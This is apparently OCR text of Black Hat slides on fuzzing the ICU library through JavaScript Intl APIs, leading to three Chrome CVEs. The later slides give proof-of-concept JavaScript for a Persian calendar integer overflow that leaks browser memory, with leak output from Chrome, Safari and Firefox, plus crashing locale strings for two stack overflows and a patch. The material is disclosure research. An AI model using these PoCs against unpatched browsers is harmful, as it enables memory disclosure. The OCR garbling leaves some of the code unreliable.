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 Senior security researcher

e @AnNt-Financial Light-Year Security Lab
* Chrome/Apple/Microsoft CVE hunter
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* About ICU

* |CU for JavaScript

* Strict filters before ICU

* Fuzzing ICU for JavaScript
* 3 CVEsin Chrome
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d International Components for Unicode ()

 Open Source(since 1999)

* Contributions from IBM, Google, Apple, Yahoo, ...
o Software Internationalization\Globalization
 Unicode support

e C/C++\Java

* http://site.icu-project.org/
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CI Services provided by ICU (O,

Code Page Conversion
* Collation
* Formatting
 Time Calculations
 Unicode Support
* Regular Expression
e Bidi
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e Google
Web Search, Google+, Chrome/Chrome OS, Android, etc

 Apple libicucore.A.dylib
macOS (OS & applications), iOS (iPhone, iPad, iPod touch), watchOS & tvOS, etc

 Microsoft icuin.dll, icuuc.dll

Windows 10 - Creators Update, Visual Studio 2017 [Electron], Visual Studio Code
[Electron], ChakraCore

S r ‘ :
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e Apache, IBM, Adobe @ NP,
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J JavaScript functions using ICU

* |ntl.DateTimeFormat()

* Intl.NumberFormat()

* |ntl.Collator()

* |ntl.PluralRules()

* Object.toLocaleString()

* String.toLocaleLowerCase()
* Date.toLocaleTimeString()
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d new Intl.NumberFormat([locales[, options]])

* J|ocales
zh-Hans-CN-u-nu-hanidec

* options
localeMatcher, style, currency, minimumintegerDigits, etc
{ style: 'currency’, currency: 'EUR'}
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d new Intl.NumberFormat([locales[, options]])

var number = 123456.789;

console.log(new Intl.NumberFormat('de-DE', { style: 'currency', currency: 'EUR' }).format(number));
// expected output: "123.456,79 €"

// the Japanese yen doesn't use a minor unit

console.log(new Intl.NumberFormat('ja-JP', { style: 'currency', currency: 'JPY' }).format(number));
// expected output: "¥123,457"

// limit to three significant digits

console.log(new Intl.NumberFormat('en-IN', { maximumSignificantDigits: 3 }).format(number));
// expected output: "1,23,000"
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J new Intl.Collator([locales[, options]])

* |ocales
Jja-JP-u-ca-japanese

* options
localeMatcher, timeZone, hourl2, weekday, era, year, month, day, etc
{ weekday: 'long’, year: 'numeric’, month: 'long’, day: ‘'numeric' }
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J new Intl.Collator([locales[, options]])

// in German, a has a as the base letter

console.log(new Intl.Collator('de’, { sensitivity: 'base’ compare('a’', 'a’

/] » ©

// in Swedish, a and a are separate base letters

console.log(new Intl.Collator('sv’', { sensitivity: 'base’ compare('a’', 'a’
// » a positive value




O

blackhat |ICU for Javascript

VANSIVAN="__ Mi=

J new Intl.DateTimeFormat([locales[, options]])

* |ocales
Jja-JP-u-ca-japanese

* options
localeMatcher, timeZone, hourl2, weekday, era, year, month, day, etc
{ weekday: 'long’, year: 'numeric’, month: 'long’, day: ‘'numeric' }
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J new Intl.DateTimeFormat([locales[, options]])

// sometimes even the US needs 24-hour time
options =
year: 'numeric', month: 'numeric’', day: 'numeric’

hour: 'numeric', minute: 'numeric', second: 'numeric’
hourl2: false

timeZone: 'America/Los_Angeles'

console.log(new Intl.DateTimeFormat('en-US', options).format(date
// » "12/19/2012, 19:00:00"
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J CreateDateTimeFormat
e Locale filter

var locale = resolvelLocale('dateformat’, locales, options);

e TimeZone filter
var tz = canonicalizeTimeZonelD(options.timeZone);

e Runtime filter

var dateFormat = %CreateDateTimeFormat( requestedLocale, {skeleton: |dmIString, timeZone: tz}, resolved);
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J function isStructuallyValidLanguageTag
* LanguageTlagRE

"M([a-zA-Z]{2,3}(-([a-zA-Z]{3}(-[a-zA-Z]{3}){0,2}))? | [a-zA-Z]{4}| [a-zA-Z]{5,8})(-([a-zA-Z]{4})) ?(-([a-zA-Z]{2} | [0-9){3})) ?(-
(([a-zA-Z]][0-9]){5,8}| ([0-9]([a-zA-Z] | [0-9]){3}))) * (-(([0-9] | [A-WY-Za-wy-z])(-([a-zA-Z] | [0-9]){2,8})+)) *(-(x(-([a-zA-Z] |
[0-9]){1,8})+))? | (x(-([a-zA-Z] | [0-9]){1,8})+) | ((en-GB-oed | i-ami | i-bnn | i-default | i-enochian|i-hak|i-klingon | i-lux | i-
mingo |i-navajo|i-pwn|i-tao|i-tay|i-tsu|sgn-BE-FR|sgn-BE-NL|sgn-CH-DE) | (art-lojban|cel-gaulish | no-bok| no-nyn |
zh-guoyu | zh-hakka | zh-min|zh-min-nan|zh-xiang)))S$”

* LanguageVariantRE

"M([a-zA-Z] | [0-9]){5,8} [ ([0-9]([a-zA-Z] | [0-9]){3}))$”
 LanguageSingletonRE

"A([0-9] | [A-WY-Za-wy-2])$"
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J function canonicalizeLanguageTag
e isStructuallyValidLanguageTag

 %CanonicalizeLanguageTag ( runtime-intl.cc )

o uloc_forLanguageTag //locale tag => char icu_result[256]
O uloc_tolLanguageTag //charicu_result[256] = locale tag
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J function resolvelocale
e canonicalizeLanguageTag

e Remove all extensions

replace("-[a-z0-9]{1}-.*", “”)
 Match locale

availableLocales[locale]
 Match extension

"-u(-[a-z0-9]{2,8})+”
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J function canonicalizeTimeZonelD

* Area/Location(/Location)*
"A[A-Za-z])+)/([A-Za-z_-]+)((?:/[A-Za-z_-]+)+)*S"

e toTitleCaseTimezonelocation
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Jd runtime-intl.cc

RUNTIME_FUNCTION(Runtime_CreateDateTimeFormat) {

icu::SimpleDateFormat* date_format =
DateFormat::InitializeDateTimeFormat(isolate, locale, options, resolved);
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d intl-objects.cc

icu::SimpleDateFormat™ DateFormat::InitializeDateTimeFormat(

{
uloc_forLanguageTag(*bcp47 locale, icu_result,...

icu_locale =icu::Locale(icu_result);

icu::SimpleDateFormat™ date_format =
CreatelCUDateFormat(isolate, icu_locale, options);
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d intl-objects.cc

icu::SimpleDateFormat™ CreatelCUDateFormat(lsolate* isolate,

{

tz = icu::TimeZone::createTimeZone(timezone);

date_format = new icu::SimpleDateFormat(pattern, icu_locale, status);
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J Intl.DateTimeFormat methods

 format ()
dateformat.format (date);

 formatToParts()
dateformat.formatToParts(date);

* resolvedOptions()
dateformat.resolvedOptions(date);
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d Intl.DateTimeFormat.formatToParts()

var date = Date.UTC(2012. 11. 17. 3. ©. 42 formatter.formatToParts(date

// return value:
var formatter = new Intl.DateTimeFormat( 'en-us’

weekday: 'long’ type: 'weekday'’ value: 'Monday’

year: 'numeric’ type: 'literal value: °,

. type: 'month’ value: "12°
month: ‘numeric type: 'literal’ value: "/°
day: 'numeric’ type: 'day’ value: '17'
hour: 'numeric’ type: 'literal’ value: '/'
SRR TR e type: ‘year' value: '2012°

., type: 'literal’ value: *, '
second: ‘numeric s T value: '3’
hourl2: true type: 'literal’ value
timeZone: 'UTC® type: 'minute’ value: ‘00’
type: 'literal’ value: ":°
type: 'second’ value: '42°
type: 'literal’ value: "
formatter.format(date type: 'dayPeriod', value: 'AM'

// "Monday, 12/17/2012, 3:00:42 AM"
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J Random based

* Fuzzer pattern

date = RandomDate(number)

formatter = new Intl.DateTimeFormat(RandomLocale(string),
RandomOptions())

formatter.format(date);

* Result
v Most of input is invalid //’vfOcA$bB”
v Too many filters before ICU
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J Generation based
e Locales

RandomChoice([ af, ak, am, an, ar, ..., zh, zh-CN, zh-HK, zh-Hans, ... ])
e Unicode extension

RandomChoice([ nu, ca, hc, co, kn, kf ])

* nu for NumberFormat v More effective
RandomChoice(["arab", "arabext", "bali", "beng”, ... 1) v Miss some
« ca for DateFormat case

RandomChoice(["buddhist”, "chinese", "coptic", "ethioaa”, ...])
tag = RandomChoice(glocal) + -nu-’+ RandomChoice (gnumid)



O

blackhat Fuzzing ICU for JavaScript

VANSIVAN="__ Mi=

J Simple LibFuzzer

// icu_number_format_fuzzer.cc

extern "C" int LLVMFuzzerTestOnelnput(const uint8_t* data, size_t size) {
const icu::Locale& locale = GetRandomLocale(&rng);
std::unique_ptr<icu::NumberFormat> fmt(

icu::NumberFormat:.createlnstance(locale, status)),;

v Usually only fuzz one argument
v Most crash cases can not be triggered from JavaScript
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d Intl.DateTimeFormat
 Arguments passed from JavaScript to ICU

°>° date icu::SimpleDateFormat()

locale locale icu::TimeZone::createTimeZone(

)

timeZone timezone
icu::SimpleDateFormat::format(

hour12\hourCycle skeleton
formatMatcher

week\day\era

year\month\

We fuzzing from here
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d Intl.DateTimeFormat
* Fuzzing input pattern to ICU:

class DateFormatinput {
int date;
string locale;
string timezone;
string skeleton;
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d Serializing object into bytes

class arguments{ * String * Integer
>tring strA, ‘ * if exists o if exists
e sa o e s

e if not exists e if not exists

false
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J Deserializing object from bytes

ST A |\ [tue finB | class arguments{
String strA;
ExtractString(data, size, &strA) ‘ Int iB:
}

ExtractintegerSetting (data, size, &intB)
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d Serializing DateFormat Input Object

class DateFormatinput {
int date;
string locale: true |date |locale |\0 timezone |\0 lskeleton [\
string timezone;
string skeleton;

}
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d Intl.NumberFormat
Arguments passed from JavaScript to ICU:

date date —)  icu::SimpleNumberFormat()
locale locale 2 icu::TimeZone::createTimeZone()

icu::SimpleNumberFormat::format()

currencyDisplay currencyDisplay
minimumIntegerDigits minimumintegerDigits
minimumPFractionDigits minimumFractionDigits

maximumFractionDigits maximumFractionDigits

)
O
—
&)) currency currency
)
>
(q)
-
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d Serializing NumerFormat Input Object

class NumberFormatinput{

e locale \0 \0_[8 [minimumintegeroigis |..

currency

currencyDisplay

it S SN ocoic 110 [styie \o [percent [\0 15 Iminimumintegerdis |-
minimumkFractionDigits

maximumpFractionDigits

minimumSignificantDigits

RV St S locale_\0_lstyle |\0lcutrency_|\0 |currencyDisplay_\0 |8 Iminim..

useGrouping,......}
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d Fuzzer pattern

extern "C" int LLVMFuzzerTestOnelnput(const uint8_t* data, size t size) {
ExtractString(data, size, locale),
ExtractString(data, size, timezone);
ExtractString(data, size, skeleton);
ExtractString(data, size, date);
icu::SimpleDateFormat(locale, skeleton)
icu::TimeZone::create TimeZone(timezone)
icu::SimpleDateFormat::format(date)
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J Tons of crashes

* Filtered locale
x-x-ndu-Ilvariant-x-nd’ trigger stack-buffer-underflow

 Invalid skeleton

locale : Ig-ar

skeleton:I[0xfffd]bs-Cyrl-ClI trigger out-of-bound
date : -nan == ffffffffffffffff
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d Improvement
 Add more checker for locale
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d Improvement
 Skeleton check

T

weekday string narrow: 'EEEEE’, short: 'EEE’, long: 'EEEE’

era string narrow: 'GGGGG', short: 'GGG', long: 'GGGG'

year string 2-digit: 'yy', numeric: 'y’

month string 2-digit: ' MM', numeric: 'M’, narrow: MMMMM', short: MMM, long: 'MMMM'
aday string 2-digit: 'dd’, numeric: d’

* Valid bytes

‘EGyMdjhHmsz’
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 Persian Calendar Integer overflow

//poc.js

var dateformatter = new Intl. Date TimeFormat("bs-Cyrl-u-ca-persian");
date = null;

Date.prototype['"valueOf"] = function (){}; //date return NaN

d = dateformatter.formatToParts(date);
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J Root Cause

//i18n/persncal.cpp
void PersianCalendar::handleComputeFields(int32_t julianDay, UErrorCode &/*status*/)

{
int32_t daysSinceEpoch = julianDay - PERSIAN_EPOCH;//
year = 1 + ClockMath::floorDivide(33 * daysSinceEpoch + 3, 12053);
dayOfMonth = dayOfYear - kPersianNumDays[month] + 1; // Out Of Bound read
}

0x800782ec * 33 = 0x1080f7e06¢c //overflowed
month = -67174455
X * 33 > 0x80000000
X > 65075262

static const intl6 t kPersianNumDays]| ]
= {0,31,62,93,124,155,186,216,246,276,306,336}:
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d Exploit

> julianDay = 67023734;
var datetil = new Intl.DateTimeFormat("bs-Cyrl-u-ca-persian");
date2 = new Date();
var value = (julianDay - kEpochStartAsJulianDay) x kOneDay - rawOffset;
Date.prototype["valueOf"] = function(){return value;};
datetil.formatToParts(date2);

v(7) [{.}, {.}, {a}, {a}, {a}, {a}, {a}]
»0: {type: "era", value: "AP"}

»1: {type: "literal”, value: " "}

»2: {type: "year", value: "-178169"} year

» 3: {type: "literal", value: "-"}

» 4: {type: "month", value: "4338356"} month--

»5: {type: "literal", value: "-"}

»6: {type: "day", value: "130150657"} dayOfMonth
length: 7

» proto__: Array(Q)
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d Caculate the value from leak
var daysSinceEpoch = julianDay - PERSIAN_EPOCH;

var farvardinl = 365 * (year - 1) + Math.floor((8 * year + 21)/33);
var dayOfYear = (daysSinceEpoch - farvardinl);
value = (dayOfYear + 1 - dayOfMonth)&O0xffff;

console.log(month, ":', toHex(value));
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® ©® @ chrome Web Browser X e
D C h rO m e < C' @& Secure https://www.google.com/chrome/?brand... Y&
leak memory from — | R @] Console » o X

kPersianNumDays[ 4338357 ] @ chrome © | top v | Filter| Default levels ¥

for(var month in mids){
readJD(mids [month]);

}
4338350 ":" "0001" VM49:183
4338351 ":" "0000" VM49:183
o 4338350 ":" "0001" VM49:183
€3¢ 4338351 ":" "0000" VM49:183
4338352 ":" "249Q" VM49:183
4338353 ":" "0000" VM49:183
4338354 ":" "0000" VM49:183
4338355 ":" "0000" VM49:183
B ro \/\/ S e 4338356 ":" "2000" VM49:183
4338357 ":" "1083" VM49:183

4338358 ":" "0001" VM49:183

fa St 4338359 ":" "@00e" VM49:183

4338360 ":" "24f0" VM49:183
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< & Apple Inc. &

J Safari

leak memory from iPhone X

hello, &3k,
kPersianNumDays[ 4338357 ]
< i=l iy e (62 @35 O
5z ) O O, 104 S + &
Q- #wizg s A% QO MO

for(var month in mids){
readJD(mids [month]);

v RiER
4338350

"Ofed"

v Zf5R
4338351

"e384"

v RiER
4338350

"Ofed"

v RfER
4338351

"e384"
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D Firefox < C @ @ & M... (US) | https://www.mozilla.org/e 2 eee | D

leak memory from :;) Firefox
kPersianNumDays[ 4338357 ]

[w Inspector Console Debugge! Style Edito Performance Memory Network Storage (- ] H & [0 & X

W ¢ Filter output Persist Logs

for(var month in mids){
readJD(mids [month]);

}

4338350 : 0e42 debugger eval code:276:5
4338351 : 4218 debugger eval code:276:5
4338350 : 0e4d2 debugger eval code:276:5
4338351 : 4218 debugger eval code:276:5
4338352 : 200e debugger eval code:276:5
4338353 : 0e42 debugger eval code:276:5
4338354 : 4128 debugger eval code:276:5
4338355 : 300e debugger eval code:276:5
4338356 : 0Qe4d4 debugger eval code:276:5
4338357 : 8370 debugger eval code:276:5
4338358 : 8c06 debugger eval code:276:5
4338359 : 8de5 debugger eval code:276:5
4338360 : 8e04 debugger eval code:276:5
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J Patch

diff --git a/source/il8n/persncal.cpp b/source/il8n/persncal.cpp
index f66ac67..f38f779 100644
-—— a/source/il8n/persncal.cpp

+++ b/source/i18n/persncal.cpp

@@ -213,7 +213,7 @@
int32_t year, month, dayOfMonth, dayOfYear;

int32_t daysSinceEpoch = julianDay - PERSIAN_EPOCH;
- year = 1 + ClockMath::floorDivide(33 *x daysSinceEpoch + 3, 12053);
+ year = 1 + (int32_t)ClockMath::floorDivide(33 * (int64_t)daysSinceEpoch + 3, (int64_t)12053);

int32_t farvardinl = 365 * (year - 1) + ClockMath::floorDivide(8 * year + 21, 33);
dayOfYear = (daysSinceEpoch - farvardinl); // ©-based
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J Exist

for 5+ years

diff --git a/118n/persncal.cpp b/118n/persncal.cpp
from 201 2-1 0-3 .'::_-_-.".L.‘FI!‘-'-]*" p . | .

T,
f ¢ L/ -~.r
QDI C O

yersncal.cpp
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J Exist

for 5+ years

from 2012-10
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d NumberingSystem:.createlnstance Stack

Overflow
e PoC

var nf = new Intl.NumberFormat('bs-u-nu-bzcu-cab-cabs-avnlubs-avnihu-zcu-cab-cbs-avnllubs-avnihqg-zcu-
cab-cbs-ubs-avnihu-cabs-flus-xxd-vnluy');

e Root Cause
char buffer[ 96 ];

int32_t count = inLocale.getKeywordValue("numbers",buffer, sizeof(buffer),status);
if (count>0){
buffer[count] = '\0'; //count =99
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- CanonicalizeLanguageTag Stack Overflow
* PoC

var datetil = new Intl.DateTimeFormat("iw-up-a-caiaup-araup-ai-pdu-sp-bs-up-arscna-zeieiaup-araup-
arscia-rews-us-up-arscna-zeieiaup-araup-arsciap-arscna-zeieiaup-araup-arscie-u-sp-bs-uaup-arscia");

* Root Cause

charicu_resultfULOC_FULLNAME_CAPACITY];

uloc_forLanguageTag(*locale_id, icu result, ULOC_FULLNAME_CAPACITY, nullptr, &error);
// not terminated with ‘\0’

if (uprv_strlen(localelD) >0){ // overflowed
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